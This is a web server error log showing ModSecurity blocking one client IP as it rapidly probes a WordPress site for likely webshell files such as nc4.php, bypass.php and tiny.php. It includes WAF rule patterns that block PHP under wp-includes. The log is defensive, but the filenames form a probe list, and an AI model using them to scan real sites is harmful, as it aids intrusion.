[Fri Apr 03 01:35:20.780407 2026] [:error] [pid 25018:tid 25434] [client 158.158.110.103:40908] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "ac6o2HupR6lXnAUzFGr42AAAAFU"]
[Fri Apr 03 01:35:21.298790 2026] [:error] [pid 25470:tid 25491] [client 158.158.110.103:58848] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/feokc.php"] [unique_id "ac6o2XhROcck6_9HYygaWwAAANM"]
[Fri Apr 03 01:35:21.786970 2026] [:error] [pid 25035:tid 25459] [client 158.158.110.103:56299] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac6o2RhR292toNOkLqG3TwAAAJE"]
[Fri Apr 03 01:35:22.293359 2026] [:error] [pid 25470:tid 25493] [client 158.158.110.103:52114] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac6o2nhROcck6_9HYygaXgAAANU"]
[Fri Apr 03 01:35:22.811082 2026] [:error] [pid 25470:tid 25492] [client 158.158.110.103:54576] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac6o2nhROcck6_9HYygaZAAAANQ"]
[Fri Apr 03 01:35:23.297905 2026] [:error] [pid 25470:tid 25484] [client 158.158.110.103:58833] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "ac6o23hROcck6_9HYygaZwAAAMw"]
[Fri Apr 03 01:35:23.816564 2026] [:error] [pid 25018:tid 25435] [client 158.158.110.103:52118] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac6o23upR6lXnAUzFGr43AAAAFY"]
[Fri Apr 03 01:35:24.311281 2026] [:error] [pid 25470:tid 25486] [client 158.158.110.103:40834] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac6o3HhROcck6_9HYygacAAAAM4"]
[Fri Apr 03 01:35:24.820706 2026] [:error] [pid 25010:tid 25352] [client 158.158.110.103:60122] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac6o3I_KcjFQF5TuqTWpZwAAAAQ"]
[Fri Apr 03 01:35:25.304969 2026] [:error] [pid 25010:tid 25354] [client 158.158.110.103:57012] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp9.php"] [unique_id "ac6o3Y_KcjFQF5TuqTWpagAAAAY"]
[Fri Apr 03 01:35:25.804504 2026] [:error] [pid 25010:tid 25369] [client 158.158.110.103:56286] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac6o3Y_KcjFQF5TuqTWpbgAAABQ"]
[Fri Apr 03 01:35:26.293183 2026] [:error] [pid 25018:tid 25417] [client 158.158.110.103:52210] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac6o3nupR6lXnAUzFGr43wAAAEQ"]
[Fri Apr 03 01:35:26.782429 2026] [:error] [pid 25035:tid 25458] [client 158.158.110.103:54564] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac6o3hhR292toNOkLqG3WAAAAJA"]
[Fri Apr 03 01:35:27.269582 2026] [:error] [pid 25035:tid 25445] [client 158.158.110.103:40900] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/images/acxx.php"] [unique_id "ac6o3xhR292toNOkLqG3XQAAAIM"]
[Fri Apr 03 01:35:27.747576 2026] [:error] [pid 25010:tid 25364] [client 158.158.110.103:54542] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac6o34_KcjFQF5TuqTWpdAAAAA8"]
[Fri Apr 03 01:35:28.249419 2026] [:error] [pid 25470:tid 25472] [client 158.158.110.103:52206] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac6o4HhROcck6_9HYygafQAAAMA"]
[Fri Apr 03 01:35:28.755137 2026] [:error] [pid 25010:tid 25373] [client 158.158.110.103:41496] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac6o4I_KcjFQF5TuqTWpdwAAABg"]
[Fri Apr 03 01:35:29.254917 2026] [:error] [pid 25470:tid 25487] [client 158.158.110.103:41519] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/simple.php"] [unique_id "ac6o4XhROcck6_9HYygagAAAAM8"]
[Fri Apr 03 01:35:29.753321 2026] [:error] [pid 25010:tid 25362] [client 158.158.110.103:40917] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac6o4Y_KcjFQF5TuqTWpegAAAA0"]
[Fri Apr 03 01:35:30.244474 2026] [:error] [pid 25035:tid 25463] [client 158.158.110.103:52193] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac6o4hhR292toNOkLqG3ZwAAAJU"]
[Fri Apr 03 01:35:30.731328 2026] [:error] [pid 25035:tid 25453] [client 158.158.110.103:56974] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac6o4hhR292toNOkLqG3agAAAIs"]
[Fri Apr 03 01:35:31.210071 2026] [:error] [pid 25470:tid 25473] [client 158.158.110.103:58865] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/goat1.php"] [unique_id "ac6o43hROcck6_9HYygaiAAAAME"]
[Fri Apr 03 01:35:31.707448 2026] [:error] [pid 25470:tid 25484] [client 158.158.110.103:60143] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "ac6o43hROcck6_9HYygaiwAAAMw"]
[Fri Apr 03 01:35:32.215794 2026] [:error] [pid 25010:tid 25348] [client 158.158.110.103:52122] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "ac6o5I_KcjFQF5TuqTWphQAAAAE"]
[Fri Apr 03 01:35:32.712120 2026] [:error] [pid 25035:tid 25455] [client 158.158.110.103:56308] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "ac6o5BhR292toNOkLqG3cgAAAI0"]
[Fri Apr 03 01:35:33.196592 2026] [:error] [pid 25010:tid 25364] [client 158.158.110.103:52128] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-cron.php"] [unique_id "ac6o5Y_KcjFQF5TuqTWpiQAAAA8"]
[Fri Apr 03 01:35:33.676721 2026] [:error] [pid 25035:tid 25463] [client 158.158.110.103:52189] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "ac6o5RhR292toNOkLqG3dQAAAJU"]
[Fri Apr 03 01:35:34.171275 2026] [:error] [pid 25470:tid 25486] [client 158.158.110.103:52165] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "ac6o5nhROcck6_9HYygajwAAAM4"]
[Fri Apr 03 01:35:34.671539 2026] [:error] [pid 25035:tid 25462] [client 158.158.110.103:52119] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "ac6o5hhR292toNOkLqG3fAAAAJQ"]
[Fri Apr 03 01:35:35.157502 2026] [:error] [pid 25035:tid 25456] [client 158.158.110.103:56256] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yanz.php"] [unique_id "ac6o5xhR292toNOkLqG3fgAAAI4"]
[Fri Apr 03 01:35:35.639071 2026] [:error] [pid 25010:tid 25355] [client 158.158.110.103:58853] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "ac6o54_KcjFQF5TuqTWpkgAAAAc"]
[Fri Apr 03 01:35:36.145290 2026] [:error] [pid 25035:tid 25459] [client 158.158.110.103:58834] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "ac6o6BhR292toNOkLqG3hQAAAJE"]
[Fri Apr 03 01:35:36.654530 2026] [:error] [pid 25010:tid 25370] [client 158.158.110.103:52213] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "ac6o6I_KcjFQF5TuqTWpmQAAABU"]
[Fri Apr 03 01:35:37.143264 2026] [:error] [pid 25010:tid 25348] [client 158.158.110.103:52178] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.php"] [unique_id "ac6o6Y_KcjFQF5TuqTWpnAAAAAE"]
[Fri Apr 03 01:35:37.657859 2026] [:error] [pid 25018:tid 25426] [client 158.158.110.103:60111] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac6o6XupR6lXnAUzFGr46gAAAE0"]
[Fri Apr 03 01:35:38.168964 2026] [:error] [pid 25470:tid 25490] [client 158.158.110.103:40936] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac6o6nhROcck6_9HYygamAAAANI"]
[Fri Apr 03 01:35:38.654698 2026] [:error] [pid 25010:tid 25363] [client 158.158.110.103:40897] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac6o6o_KcjFQF5TuqTWpogAAAA4"]
[Fri Apr 03 01:35:39.147180 2026] [:error] [pid 25018:tid 25425] [client 158.158.110.103:56971] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/network.php"] [unique_id "ac6o63upR6lXnAUzFGr48QAAAEw"]
[Fri Apr 03 01:35:39.639264 2026] [:error] [pid 25018:tid 25437] [client 158.158.110.103:54550] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-2019.php"] [unique_id "ac6o63upR6lXnAUzFGr49QAAAFg"]
[Fri Apr 03 01:35:40.163145 2026] [:error] [pid 25470:tid 25491] [client 158.158.110.103:42067] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-2019.php"] [unique_id "ac6o7HhROcck6_9HYyganAAAANM"]
[Fri Apr 03 01:35:40.646636 2026] [:error] [pid 25470:tid 25494] [client 158.158.110.103:40891] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-2019.php"] [unique_id "ac6o7HhROcck6_9HYyganwAAANY"]
[Fri Apr 03 01:35:41.138538 2026] [:error] [pid 25010:tid 25348] [client 158.158.110.103:40903] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-2019.php"] [unique_id "ac6o7Y_KcjFQF5TuqTWpqAAAAAE"]
[Fri Apr 03 01:35:41.629970 2026] [:error] [pid 25035:tid 25464] [client 158.158.110.103:52203] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac6o7RhR292toNOkLqG3kQAAAJY"]
[Fri Apr 03 01:35:42.136846 2026] [:error] [pid 25035:tid 25442] [client 158.158.110.103:40903] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac6o7hhR292toNOkLqG3kwAAAIA"]
[Fri Apr 03 01:35:42.614538 2026] [:error] [pid 25010:tid 25349] [client 158.158.110.103:58857] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac6o7o_KcjFQF5TuqTWptQAAAAI"]
[Fri Apr 03 01:35:43.100217 2026] [:error] [pid 25470:tid 25475] [client 158.158.110.103:52194] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bypass.php"] [unique_id "ac6o73hROcck6_9HYygapQAAAMM"]
[Fri Apr 03 01:35:43.595277 2026] [:error] [pid 25018:tid 25436] [client 158.158.110.103:57008] [client 158.158.110.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/admin.php"] [unique_id "ac6o73upR6lXnAUzFGr4_AAAAFc"]
[Fri Apr 03 01:35:44.076802 2026] [:error] [pid 25018:tid 25421] [client 158.158.110.103:58850] [client 158.158.110.103] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ac6o8HupR6lXnAUzFGr4_QAAAEg"]
[Fri Apr 03 01:35:44.562488 2026] [:error] [pid 25010:tid 25348] [client 158.158.110.103:54539] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ac6o8I_KcjFQF5TuqTWpvwAAAAE"]
[Fri Apr 03 01:35:45.047547 2026] [:error] [pid 25018:tid 25428] [client 158.158.110.103:56983] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ac6o8XupR6lXnAUzFGr5AQAAAE8"]
[Fri Apr 03 01:35:45.578627 2026] [:error] [pid 25470:tid 25478] [client 158.158.110.103:56319] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "ac6o8XhROcck6_9HYygarAAAAMY"]
[Fri Apr 03 01:35:46.066765 2026] [:error] [pid 25035:tid 25445] [client 158.158.110.103:56300] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "ac6o8hhR292toNOkLqG3owAAAIM"]
[Fri Apr 03 01:35:46.547145 2026] [:error] [pid 25035:tid 25460] [client 158.158.110.103:58859] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "ac6o8hhR292toNOkLqG3pQAAAJI"]
[Fri Apr 03 01:35:47.051473 2026] [:error] [pid 25035:tid 25466] [client 158.158.110.103:58833] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "ac6o8xhR292toNOkLqG3pwAAAJg"]
[Fri Apr 03 01:35:47.537724 2026] [:error] [pid 25035:tid 25456] [client 158.158.110.103:38295] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock.php"] [unique_id "ac6o8xhR292toNOkLqG3qAAAAI4"]
[Fri Apr 03 01:35:48.034480 2026] [:error] [pid 25035:tid 25453] [client 158.158.110.103:60118] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac6o9BhR292toNOkLqG3qwAAAIs"]
[Fri Apr 03 01:35:48.533898 2026] [:error] [pid 25010:tid 25349] [client 158.158.110.103:60109] [client 158.158.110.103] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mail.php"] [unique_id "ac6o9I_KcjFQF5TuqTWpygAAAAI"]
